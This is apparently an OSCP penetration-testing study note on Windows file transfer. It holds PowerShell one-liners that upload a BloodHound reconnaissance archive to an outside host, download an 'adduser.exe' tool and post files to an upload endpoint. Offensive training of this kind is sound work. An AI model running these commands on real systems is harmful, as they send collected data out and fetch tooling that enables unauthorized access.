Files
oscp/Windows/CMD/File Transfer.md
T
2025-11-21 17:17:42 +01:00

18 lines
387 B
Markdown

Download file
Upload file
`
`
`(New-Object System.Net.WebClient).UploadFile('http://192.168.45.206:8000/', '20240917122437_BloodHound.zip')`
```powershell
iwr -uri http://192.168.45.224:8000/adduser.exe -Outfile adduser.exe
```
```powershell
$uri="http://192.168.118.2/upload/"
$uploadPath="file.txt"
$wc = New-Object System.Net.WebClient
$resp = $wc.UploadFile($uri,$uploadPath)
```